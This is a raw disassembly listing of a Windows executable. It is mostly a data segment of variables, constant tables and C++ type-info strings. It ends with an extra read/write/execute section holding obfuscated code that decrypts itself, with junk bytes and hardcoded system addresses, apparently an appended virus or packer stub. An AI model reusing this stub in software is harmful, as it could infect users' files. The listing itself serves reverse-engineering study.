		dd 101h
dword_42DF28	dd 2 dup(0)			dd 1000h, 0
dword_42DF38	dd 3 dup(0)						; sub_417219+12o
		dd 2, 1, 3 dup(0)
dword_42DF58	dd 3 dup(0)						; sub_417219:loc_417237o
		dd 2 dup(2), 7 dup(0)
dword_42DF88	dd 84h dup(0)	dword_42E198	dd 2694h						; sub_414034+46r ...
		align 10h
dword_42E1A0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_42E1B8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_42E1D0	dd 7080h						; seg000:00418B40w ...
dword_42E1D4	dd 1							; seg000:00418B6Dw ...
dword_42E1D8	dd 0FFFFF1F0h						; seg000:00418B76w ...
dword_42E1DC	dd 545350h, 0Fh	dup(0)dword_42E21C	dd 544450h, 0Fh	dup(0)off_42E25C	dd offset dword_42E1DC	; DATA XREF: seg000:00418B9Cr
					; seg000:00418BBBr ...
off_42E260	dd offset dword_42E21C	; DATA XREF: seg000:00418BD6r
					; seg000:00418BFDr ...
		align 8
dword_42E268	dd 0FFFFFFFFh						; sub_418D40+1Er ...
dword_42E26C	dd 0							; sub_418EEC+BFw
dword_42E270	dd 0							; sub_418EEC+E0w
		align 8
dword_42E278	dd 0FFFFFFFFh						; sub_418D40+26r ...
dword_42E27C	dd 0							; sub_418EEC+EAw ...
dword_42E280	dd 0							; sub_418EEC+23r ...
dword_42E284	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_42E2B4	dd 16Dh							; sub_418EEC+2Er ...
dword_42E2B8	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_42E2F0	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_42E450	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41A4F9+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_42E5B0	dd offset off_41CCAC	; DATA XREF: seg001:off_41CCD0o
					; seg001:0041CDFCo ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_42E5C8	dd offset off_41CCAC	; DATA XREF: seg001:off_41CCE8o
					; seg001:0041CD7Co ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_42E5E8	dd offset off_41CCAC	; DATA XREF: seg001:off_41CD00o
					; seg001:0041CD44o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_42E608	dd offset off_41CCAC	; DATA XREF: seg001:off_41CD88o
					; seg001:0041CDCCo ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_42E628	dd offset off_41CCAC	; DATA XREF: seg001:off_41CE08o
					; seg001:0041CE44o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_418880
		dd 2 dup(0)
dword_42E64C	dd 2 dup(0)	dword_42E654	dd 0							; seg000:0040DDCBo ...
byte_42E658	db 0			; DATA XREF: sub_4022A4+10o
					; sub_404073+74o ...
		align 4
dword_42E65C	dd 0							; sub_402F62+51r ...
dword_42E660	dd 0							; sub_40295F+6Bw ...
		align 8
dword_42E668	dd 0							; sub_404BA8+92w ...
dword_42E66C	dd 0							; sub_404EF5+D9w ...
		dd 256h	dup(0)
dword_42EFC8	dd 6 dup(0)						; sub_404CE1+138o ...
dword_42EFE0	dd 0							; seg000:004048CEo
dword_42EFE4	dd 41h dup(0)	byte_42F0E8	db 0			; DATA XREF: seg000:0040482Ew
		align 4
		dd 40h dup(0)
dword_42F1EC	dd 0							; seg000:004048E0r
dword_42F1F0	dd 0		dword_42F1F4	dd 0							; seg000:0040489Br
dword_42F1F8	dd 20h dup(0)						; seg000:00404886o
dword_42F278	dd 0		dword_42F27C	dd 0							; seg000:00404893w
dword_42F280	dd 0				align 8
dword_42F288	dd 0							; seg000:00404AFAo
dword_42F28C	dd 0A2h	dup(0)	dword_42F514	dd 41h dup(0)	dword_42F618	dd 0							; seg000:00404AADr
		align 10h
dword_42F620	dd 0							; seg000:00404B0Cr
dword_42F624	dd 0		dword_42F628	dd 0		dword_42F62C	dd 0				dd 0
dword_42F634	dd 0		dword_42F638	dd 0		dword_42F63C	dd 82h dup(0)	dword_42F844	dd 0							; seg000:004049FFr
dword_42F848	dd 0		dword_42F84C	dd 0				dd 21h dup(0)
dword_42F8D4	dd 0		dword_42F8D8	dd 0				align 10h
dword_42F8E0	dd 0							; sub_405560+4CDr
dword_42F8E4	dd 0							; sub_40F038+F5r
dword_42F8E8	dd 0							; sub_405560+862r ...
dword_42F8EC	dd 0							; sub_405560+A18r ...
dword_42F8F0	dd 0							; sub_405560+9E8r ...
dword_42F8F4	dd 0							; sub_405560+4BDr
dword_42F8F8	dd 0							; sub_405560+234r
dword_42F8FC	dd 0							; sub_405560+A10r ...
dword_42F900	dd 0							; sub_405560+3A9r ...
dword_42F904	dd 0							; sub_40763F+11Er
dword_42F908	dd 0							; sub_405560+3B1r ...
dword_42F90C	dd 0							; sub_40E626+ADr
dword_42F910	dd 0							; sub_405560+53Cw
dword_42F914	dd 0							; sub_405560+D2r ...
dword_42F918	dd 0							; sub_405560+9DBr ...
dword_42F91C	dd 0							; sub_405560+3C9r ...
dword_42F920	dd 0							; sub_405560+88Er
dword_42F924	dd 0							; sub_405560+2D6r
dword_42F928	dd 0							; sub_405560+886r ...
dword_42F92C	dd 0		dword_42F930	dd 0							; sub_405560+896r ...
dword_42F934	dd 0							; sub_405560+52Fw ...
dword_42F938	dd 0							; sub_405560+CAr ...
dword_42F93C	dd 0							; seg000:00406E9Fr
dword_42F940	dd 0							; sub_405560+A6Dr ...
dword_42F944	dd 0							; sub_405560+F2r
dword_42F948	dd 0							; sub_405560+4B5r
dword_42F94C	dd 0							; sub_405560+5D8w ...
dword_42F950	dd 0							; sub_405560+A08r
dword_42F954	dd 0							; sub_405560+736r
dword_42F958	dd 0		dword_42F95C	dd 0							; sub_405560+84Fr ...
dword_42F960	dd 0							; sub_406961+15r
dword_42F964	dd 0							; sub_405560+9F0r ...
dword_42F968	dd 0							; sub_405560+3B9r ...
dword_42F96C	dd 0							; sub_405560+3C1r ...
dword_42F970	dd 0							; sub_405560+C5Dr
dword_42F974	dd 0		dword_42F978	dd 0							; sub_404073+E4r ...
dword_42F97C	dd 0		dword_42F980	dd 0							; sub_405560+A20r ...
dword_42F984	dd 0							; sub_405560+2DEr ...
dword_42F988	dd 0							; sub_405560+DAr ...
dword_42F98C	dd 0							; sub_405560+B75r ...
dword_42F990	dd 0							; sub_404073+17r ...
dword_42F994	dd 0							; sub_405560+872r
dword_42F998	dd 0							; sub_405560+9F8r
dword_42F99C	dd 0							; sub_405560+C10r
dword_42F9A0	dd 0		dword_42F9A4	dd 0							; sub_405560+910r ...
dword_42F9A8	dd 0		dword_42F9AC	dd 0							; seg000:00401489r ...
dword_42F9B0	dd 0							; sub_405560+855r
dword_42F9B4	dd 0							; sub_405560+23Cr
dword_42F9B8	dd 0							; sub_405560+1C2r
dword_42F9BC	dd 0							; sub_405560+786r ...
dword_42F9C0	dd 0							; sub_404073+62r ...
dword_42F9C4	dd 0							; sub_405560+6BEr
dword_42F9C8	dd 0							; sub_405560:loc_405E3Bw ...
dword_42F9CC	dd 0							; sub_405560+2C6r ...
dword_42F9D0	dd 0							; sub_405560+681w ...
dword_42F9D4	dd 0							; sub_405560+323r ...
dword_42F9D8	dd 0							; sub_405560+3D1r ...
dword_42F9DC	dd 0							; sub_405560+C08r
dword_42F9E0	dd 0							; sub_405560+86Ar
dword_42F9E4	dd 0							; sub_405560+227r
dword_42F9E8	dd 0							; sub_405560+1D2r ...
dword_42F9EC	dd 0							; sub_405560+87Ar
dword_42F9F0	dd 0							; sub_405560+606w ...
dword_42F9F4	dd 0							; sub_407CC0+5Ar ...
dword_42F9F8	dd 0							; seg000:0040147Er ...
dword_42F9FC	dd 0							; sub_405560+316r
dword_42FA00	dd 0							; seg000:00404390r ...
dword_42FA04	dd 0							; sub_405560+490r
dword_42FA08	dd 0							; sub_405560+1DAr ...
dword_42FA0C	dd 0							; sub_405560+39Cr ...
dword_42FA10	dd 0		dword_42FA14	dd 0							; sub_401F45+7r ...
dword_42FA18	dd 0							; sub_40109C+ACr ...
dword_42FA1C	dd 0							; sub_405560+C2r ...
dword_42FA20	dd 0							; sub_405560+4ADr
dword_42FA24	dd 0							; sub_405560+1BAr ...
dword_42FA28	dd 0							; sub_40EF0F+72r
dword_42FA2C	dd 0							; sub_405560+78Er
dword_42FA30	dd 0							; sub_403079+1C0r ...
dword_42FA34	dd 0							; sub_405560+C18r
dword_42FA38	dd 0							; sub_405560+BAr ...
dword_42FA3C	dd 0							; sub_405560+2CEr ...
dword_42FA40	dd 0							; sub_405154+9Cr ...
dword_42FA44	dd 0							; seg000:00404298r ...
dword_42FA48	dd 0		dword_42FA4C	dd 0							; seg000:004082B9r
dword_42FA50	dd 0		dword_42FA54	dd 0							; sub_405560+BF3r
dword_42FA58	dd 0							; seg000:00401586r ...
dword_42FA5C	dd 0							; sub_405560+49Dr
dword_42FA60	dd 0							; sub_405560+4C5r
dword_42FA64	dd 0							; sub_405560+4A5r
dword_42FA68	dd 0							; sub_401F45+35r ...
dword_42FA6C	dd 0							; sub_405560+1E2r ...
dword_42FA70	dd 0							; sub_405560+A28r ...
dword_42FA74	dd 0							; sub_405560+1ADr ...
dword_42FA78	dd 0							; sub_405560+E2r ...
dword_42FA7C	dd 0							; seg000:004044C1r ...
dword_42FA80	dd 0							; sub_405560+B30r
dword_42FA84	dd 0							; seg000:0040F022r
dword_42FA88	dd 0							; sub_405560+2B9r ...
dword_42FA8C	dd 0		dword_42FA90	dd 0							; sub_406C01+CEr
dword_42FA94	dd 0							; sub_405560+AB7r ...
dword_42FA98	dd 0							; sub_403079+5Cr ...
dword_42FA9C	dd 0							; sub_405560+674w ...
dword_42FAA0	dd 0							; sub_405560+C00r
dword_42FAA4	dd 0							; sub_404755+1Fr ...
dword_42FAA8	dd 0							; sub_405560+A00r ...
dword_42FAAC	dd 0							; sub_405154+B3r ...
dword_42FAB0	dd 0							; seg000:004017E0r ...
dword_42FAB4	dd 0							; sub_403079+39Fr ...
dword_42FAB8	dd 0							; sub_405560+B28r
dword_42FABC	dd 0							; sub_405560+522w ...
dword_42FAC0	dd 0							; sub_405560+B1Br
dword_42FAC4	dd 0							; sub_405560+ADr ...
dword_42FAC8	dd 0							; sub_405560+1CAr
		align 10h
dword_42FAD0	dd 0							; sub_405560+91Dr ...
dword_42FAD4	dd 0							; sub_405560+EAr ...
dword_42FAD8	dd 0							; sub_405560+12Bw ...
dword_42FADC	dd 0							; sub_4061ED+1Cr
dword_42FAE0	dd 0							; sub_405560:loc_4057B5w ...
dword_42FAE4	dd 0							; sub_4061ED+50r
dword_42FAE8	dd 0							; sub_405560:loc_40588Fw ...
dword_42FAEC	dd 0							; sub_4061ED+84r
dword_42FAF0	dd 0							; sub_4061ED:loc_40629Dr
dword_42FAF4	dd 0							; sub_4061ED+B8r
dword_42FAF8	dd 0							; sub_4061ED:loc_4062D1r
dword_42FAFC	dd 0							; sub_4061ED+ECr
dword_42FB00	dd 0							; sub_405560+8D1w ...
dword_42FB04	dd 0							; sub_4061ED+120r
dword_42FB08	dd 0							; sub_4061ED:loc_406339r ...
dword_42FB0C	dd 0							; sub_4061ED+154r
dword_42FB10	dd 0							; sub_4061ED:loc_40636Dr ...
dword_42FB14	dd 0							; sub_4061ED+188r
dword_42FB18	dd 0							; sub_4061ED:loc_4063A1r
dword_42FB1C	dd 0							; sub_4061ED+1BCr
dword_42FB20	dd 0							; sub_4061ED:loc_4063D5r
dword_42FB24	dd 0							; sub_4061ED+1F0r
dword_42FB28	dd 0							; sub_4061ED:loc_406409r
dword_42FB2C	dd 0							; sub_4061ED+224r
dword_42FB30	dd 0							; sub_4061ED:loc_40643Dr
dword_42FB34	dd 0							; sub_4061ED+258r
dword_42FB38	dd 0							; sub_4061ED:loc_406471r
dword_42FB3C	dd 0							; sub_4061ED+28Cr
dword_42FB40	dd 0							; sub_4061ED:loc_4064A5r
dword_42FB44	dd 0							; sub_4061ED+2C0r
dword_42FB48	dd 81h dup(0)	dword_42FD4C	dd 5 dup(0)	dword_42FD60	dd 0							; seg000:0040726Ar ...
dword_42FD64	dd 0							; seg000:0040724Dr ...
dword_42FD68	dd 0							; seg000:004073EEo
dword_42FD6C	dd 0							; seg000:00407486w
dword_42FD70	dd 0Dh dup(0)						; seg000:loc_4074A8o
dword_42FDA4	dd 0							; seg000:00407302r ...
		dd 0
dword_42FDAC	dd 0Eh dup(0)	dword_42FDE4	dd 1000h dup(0)						; sub_407B51o ...
dword_433DE4	dd 0							; sub_407B51+Eo ...
dword_433DE8	dd 0Eh dup(0)	dword_433E20	dd 2 dup(0)	dword_433E28	dd 0							; sub_4079B9+44r ...
		dd 5 dup(0)
dword_433E40	dd 0							; seg000:00409842r
		dd 2D9h	dup(0)
dword_4349A8	dd 0							; sub_4079B9+2Do ...
		dd 7Fh dup(0)
dword_434BA8	dd 0							; sub_410096+40w ...
dword_434BAC	dd 0							; sub_404CE1:loc_404D28r ...
dword_434BB0	dd 0							; sub_40FF5B+52w ...
dword_434BB4	dd 0							; seg000:00404266w ...
dword_434BB8	dd 0							; seg000:00405516r ...
dword_434BBC	dd 0							; seg000:004048EEw ...
byte_434BC0	db 0			; DATA XREF: sub_408C63+91o
					; seg000:0040B9EFr ...
		align 4
		dd 42E3h dup(0)
dword_445750	dd 61D2h dup(0)	dword_45DE98	dd 0							; seg000:004087B7w ...
		align 10h
dword_45DEA0	dd 0		dword_45DEA4	dd 20h dup(0)						; seg000:00408BC6o ...
dword_45DF24	dd 10h dup(0)						; seg000:004097C7o
dword_45DF64	dd 24h dup(0)	dword_45DFF4	dd 0							; seg000:00408BDDw ...
dword_45DFF8	dd 0				dd 3 dup(0)
dword_45E008	dd 0		dword_45E00C	dd 0							; seg000:004091B9r
byte_45E010	db 0			; DATA XREF: sub_408DCB+28r
					; sub_408DCB+30o
		align 8
dword_45E018	dd 0							; seg000:00408B91r ...
dword_45E01C	dd 0							; seg000:0040976Br
dword_45E020	dd 17h dup(0)						; sub_40E176+131o ...
dword_45E07C	dd 7 dup(0)						; sub_40EF0F+A5o
dword_45E098	dd 0							; sub_4101C2+19o
dword_45E09C	dd 78h dup(0)	dword_45E27C	dd 0							; sub_40E4F0+4Dr ...
dword_45E280	dd 17h dup(0)						; sub_40EDDB+12Do
dword_45E2DC	dd 80h dup(0)						; sub_40E431+7Do ...
byte_45E4DC	db 0			; DATA XREF: sub_40E4F0+29r
					; sub_40E4F0+34w
		align 10h
dword_45E4E0	dd 80h dup(0)						; sub_40E747+88o ...
dword_45E6E0	dd 81h dup(0)						; sub_40E04D+50o ...
dword_45E8E4	dd 84h dup(0)	dword_45EAF4	dd 0		dword_45EAF8	dd 0							; seg000:0041191Cw
		align 10h
word_45EB00	dw 0			; DATA XREF: seg000:004118CDr
					; seg000:00411912o
word_45EB02	dw 0			; DATA XREF: seg000:004118C0r
		db 2 dup(0)
word_45EB06	dw 0			; DATA XREF: seg000:004118B3r
word_45EB08	dw 0			; DATA XREF: seg000:004118A6r
word_45EB0A	dw 0			; DATA XREF: seg000:00411899r
		align 10h
dword_45EB10	dd 0							; sub_411BC0+91w
dword_45EB14	dd 0							; sub_411D8E:loc_411E0Aw ...
dword_45EB18	dd 0							; sub_416290:loc_41632Aw ...
dword_45EB1C	dd 0		dword_45EB20	dd 0		dword_45EB24	dd 0		dword_45EB28	dd 0		dword_45EB2C	dd 0		dword_45EB30	dd 0		dword_45EB34	dd 0							; seg000:00408A86r ...
		dd 0
dword_45EB3C	dd 0							; sub_41A116+9r ...
dword_45EB40	dd 0		dword_45EB44	dd 0							; sub_41A5B4+4r ...
		dd 3 dup(0)
byte_45EB54	db 0			; DATA XREF: sub_412579+2Dw
					; sub_417FCC+5r
		align 4
dword_45EB58	dd 0		dword_45EB5C	dd 0							; sub_412579+8Bw
dword_45EB60	dd 0							; seg000:loc_417513r ...
		align 8
dword_45EB68	dd 0		dword_45EB6C	dd 0							; sub_41230F:loc_41240Br ...
dword_45EB70	dd 0		dword_45EB74	dd 0							; sub_414AFD+1Ar ...
byte_45EB78	db 0			; DATA XREF: sub_4149F9+3r
					; sub_4149F9+98r ...
		align 4
dword_45EB7C	dd 0							; sub_414BDB+21w ...
byte_45EB80	db 0			; DATA XREF: sub_414BDB+51w
		align 4
dword_45EB84	dd 0							; sub_4151AC+3Ar ...
dword_45EB88	dd 0							; sub_4151AC+43r ...
dword_45EB8C	dd 0							; sub_414F78+5r
dword_45EB90	dd 0		dword_45EB94	dd 0							; seg000:00416B70w ...
		align 10h
dword_45EBA0	dd 0							; sub_411FB7+9Dr ...
		align 10h
dword_45EBB0	dd 0							; sub_412879+BFr ...
		align 8
dword_45EBB8	dd 0							; sub_416EE1+4w ...
dword_45EBBC	dd 0				dd 0
dword_45EBC4	dd 0							; seg000:00417329w ...
		dd 41h dup(0)
dword_45ECCC	dd 0							; seg000:004177E8w ...
dword_45ECD0	dd 0		dword_45ECD4	dd 0							; sub_417219:loc_417242w ...
dword_45ECD8	dd 0							; seg000:loc_4180B2w
		align 10h
word_45ECE0	dw 0			; DATA XREF: sub_41875D+1Ao
					; sub_41875D+46r
byte_45ECE2	db 0			; DATA XREF: sub_41875D+39r
		align 4
dword_45ECE4	dd 7 dup(0)	dword_45ED00	dd 0							; sub_41875D+5Co
dword_45ED04	dd 0		dword_45ED08	dd 0		dword_45ED0C	dd 0		dword_45ED10	dd 0							; sub_418880+38r ...
		align 8
dword_45ED18	dd 0							; seg000:00418B45w ...
		align 10h
dword_45ED20	dd 0							; seg000:00418B28r
dword_45ED24	dd 10h dup(0)	word_45ED64	dw 0			; DATA XREF: sub_418D40+A8r
word_45ED66	dw 0			; DATA XREF: seg000:00418B36r
					; sub_418D40+DBr ...
word_45ED68	dw 0			; DATA XREF: sub_418D40+CAr
word_45ED6A	dw 0			; DATA XREF: sub_418D40+D3r
					; sub_418D40:loc_418E32r
word_45ED6C	dw 0			; DATA XREF: sub_418D40+C0r
word_45ED6E	dw 0			; DATA XREF: sub_418D40+B8r
word_45ED70	dw 0			; DATA XREF: sub_418D40+B0r
word_45ED72	dw 0			; DATA XREF: sub_418D40+9Er
dword_45ED74	dd 0		dword_45ED78	dd 10h dup(0)	word_45EDB8	dw 0			; DATA XREF: sub_418D40+46r
word_45EDBA	dw 0			; DATA XREF: seg000:loc_418B59r
					; sub_418D40+78r ...
word_45EDBC	dw 0			; DATA XREF: sub_418D40+67r
word_45EDBE	dw 0			; DATA XREF: sub_418D40+70r
					; sub_418D40:loc_418DC4r
word_45EDC0	dw 0			; DATA XREF: sub_418D40+5Dr
word_45EDC2	dw 0			; DATA XREF: sub_418D40+55r
word_45EDC4	dw 0			; DATA XREF: sub_418D40+4Dr
word_45EDC6	dw 0			; DATA XREF: sub_418D40+3Er
dword_45EDC8	dd 0		dword_45EDCC	dd 0							; seg000:loc_418C2Er ...
dword_45EDD0	dd 0		dword_45EDD4	dd 0		dword_45EDD8	dd 0							; sub_419541+2Ew ...
dword_45EDDC	dd 0							; sub_419541:loc_419590r
dword_45EDE0	dd 0							; sub_419541+60r
dword_45EDE4	dd 0							; sub_419FA4+6Do
dword_45EDE8	dd 0							; sub_419FA4+44o
dword_45EDEC	dd 0							; sub_419FA4+37o
dword_45EDF0	dd 0							; sub_419FA4+51o
		align 8
dword_45EDF8	dd 0		dword_45EDFC	dd 0							; sub_41A698+48w ...
byte_45EE00	db 0			; DATA XREF: sub_40293Er sub_40293E+9w ...
		align 4
dword_45EE04	dd 0							; sub_4168BA+14r ...
		dd 6 dup(0)
dword_45EE20	dd 400h	dup(0)						; seg002:0042DF20o
dword_45FE20	dd 0							; sub_41640E+56r ...
		dd 7 dup(0)
dword_45FE40	dd 0							; sub_41647B+75r ...
		dd 3Fh dup(0)
dword_45FF40	dd 0							; sub_416554+Cr ...
dword_45FF44	dd 0							; seg000:00416DADw ...
		align 10h
dword_45FF50	dd 3 dup(0)						; seg000:00416EB9o ...
dword_45FF5C	dd 0							; seg000:00416EA5w ...
byte_45FF60	db 0			; DATA XREF: seg000:loc_417093w
					; seg000:loc_4170B0w ...
		align 4
		dd 3Fh dup(0)
byte_460060	db 0			; DATA XREF: seg000:00416DA4o
					; seg000:00416DF7o ...
byte_460061	db 0			; DATA XREF: sub_412178+5Dr
					; seg000:00416DE8w ...
		align 4
		dd 40h dup(0)
dword_460164	dd 0							; seg000:00416E73w ...
dword_460168	dd 0							; sub_413B3F+5r ...
dword_46016C	dd 0							; sub_41350B+259r ...
dword_460170	dd 0							; sub_41350B+310w ...
dword_460174	dd 0							; sub_41350B+22Cr ...
dword_460178	dd 0							; sub_4134E0r ...
dword_46017C	dd 0							; sub_4134E0+8r ...
dword_460180	dd 0							; sub_410B5F+21r ...
dword_460184	dd 0		dword_460188	dd 0							; sub_41A116r
dword_46018C	dd 0							; sub_41710C+11w ...
dword_460190	dd 0							; sub_4114F3:loc_411535r ...
dword_460194	dd 0							; sub_4114F3+Cr ...
byte_460198	db 0			; DATA XREF: sub_41AF44+15r
					; sub_41AF44+1Ew
		align 1000h
seg002		ends

; Section 4. (virtual address 00061000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 00061000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 461000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	loc_46100A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		jmp	short loc_46100E
; ---------------------------------------------------------------------------


loc_46100A:				; CODE XREF: .data:00461002j
		pop	ebp
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------


loc_46100E:				; CODE XREF: .data:00461008j
		call	loc_461014
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_461014:				; CODE XREF: .data:loc_46100Ej
		pop	ebp
		mov	ebx, 0FFFFFFEDh
		add	ebx, ebp
		sub	ebx, 61000h
		cmp	byte ptr [ebp+4Dh], 1
		jnz	short loc_461034
		mov	esi, [esp+28h]
		cmp	esi, 1
		mov	[ebp+4Eh], ebx
		jnz	short loc_461065


loc_461034:				; CODE XREF: .data:00461026j
		lea	eax, [ebp+53h]
		push	eax
		push	ebx
		push	dword ptr [ebp+9EDh]
		lea	eax, [ebp+35h]
		push	eax
		jmp	loc_4610CA
; ---------------------------------------------------------------------------
		dd 3D0000h, 30000h, 7C809AE4h, 3FE000h,	7C801D77h, 7C80B6A1h
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_461065:				; CODE XREF: .data:00461032j
		mov	eax, 23A5C0F8h
		push	eax
		push	eax
		add	eax, [ebp+4Eh]
		pop	ebx
		test	eax, eax
		jz	short loc_461090
		jmp	short loc_461077
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_461077:				; CODE XREF: .data:00461074j
		cmp	ebx, 23A5C0F8h
		jz	short loc_4610B4
		xor	edx, edx
		push	esi
		push	0
		push	esi
		push	dword ptr [ebp+4Eh]
		call	eax
		pop	esi
		cmp	esi, 0
		jnz	short loc_4610B4


loc_461090:				; CODE XREF: .data:00461072j
		xor	edx, edx
		mov	eax, [ebp+41h]
		test	eax, eax
		jz	short loc_4610A0
		push	edx
		push	edx
		push	dword ptr [ebp+35h]
		call	eax


loc_4610A0:				; CODE XREF: .data:00461097j
		mov	eax, [ebp+35h]
		test	eax, eax
		jz	short loc_4610B4
		push	8000h
		push	0
		push	dword ptr [ebp+35h]
		call	dword ptr [ebp+3Dh]


loc_4610B4:				; CODE XREF: .data:0046107Dj
					; .data:0046108Ej ...
		pop	ebx
		or	ebx, ebx
		popa
		jnz	short loc_4610C0
		push	1
		pop	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4610C0:				; CODE XREF: .data:004610B8j
		xor	eax, eax
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4610CA:				; CODE XREF: .data:00461043j
		push	edx
		xor	ecx, 3228C68h
		pop	eax
		call	near ptr loc_4610E2+1
		adc	al, 0BDh
		mov	dl, 3
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah


loc_4610E2:				; CODE XREF: .data:004610D2p
		jnp	short loc_46114A
		mov	ebx, esi
		pop	edx
		sbb	cl, 0B0h
		add	edx, 8F3h
		movsx	ecx, ax
		push	0
		mov	cx, 0B47h
		pop	edi
		mov	eax, esi


loc_4610FF:				; CODE XREF: .data:0046115Fj
		push	dword ptr [edi+edx]
		mov	al, 92h
		pop	esi
		mov	ch, dh
		xor	esi, 6727FDAAh
		mov	ebx, esi
		sub	esi, 76CCFD9Bh
		jge	loc_461120
		push	edx
		xor	ah, 0D4h
		pop	ecx


loc_461120:				; CODE XREF: .data:00461115j
		xor	esi, 0B6F6538h
		jz	loc_461137
		jge	loc_461137
		mov	ecx, 793E3A17h


loc_461137:				; CODE XREF: .data:00461126j
					; .data:0046112Cj
		mov	[edx+edi], esi
		mov	cx, 6DE9h
		mov	ax, si
		sub	edi, 2
		jmp	near ptr loc_461152+3
; ---------------------------------------------------------------------------
		db 34h
; ---------------------------------------------------------------------------


loc_46114A:				; CODE XREF: .data:loc_4610E2j
		pop	ebp
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_461152:				; CODE XREF: .data:00461144j
		adc	eax, 4F4F1B2Ah
		mov	ch, al
		cmp	edi, 0FFFFF79Ch
		jnz	loc_4610FF
		mov	ebx, 5D7A47CEh
		mov	edi, 3863D2Ch
		call	near ptr loc_46117A+4
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat


loc_46117A:				; CODE XREF: .data:0046116Fp
		les	ebp, [ebp-16AF8C1Eh]
		or	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
		dd 0E148EB3Ah, 1DF4C706h, 585F6392h, 853C081h, 0B5B10000h
		dd 1D0BEh, 13E900h, 0BCAF0000h,	0A8CB9A45h, 54A766C1h
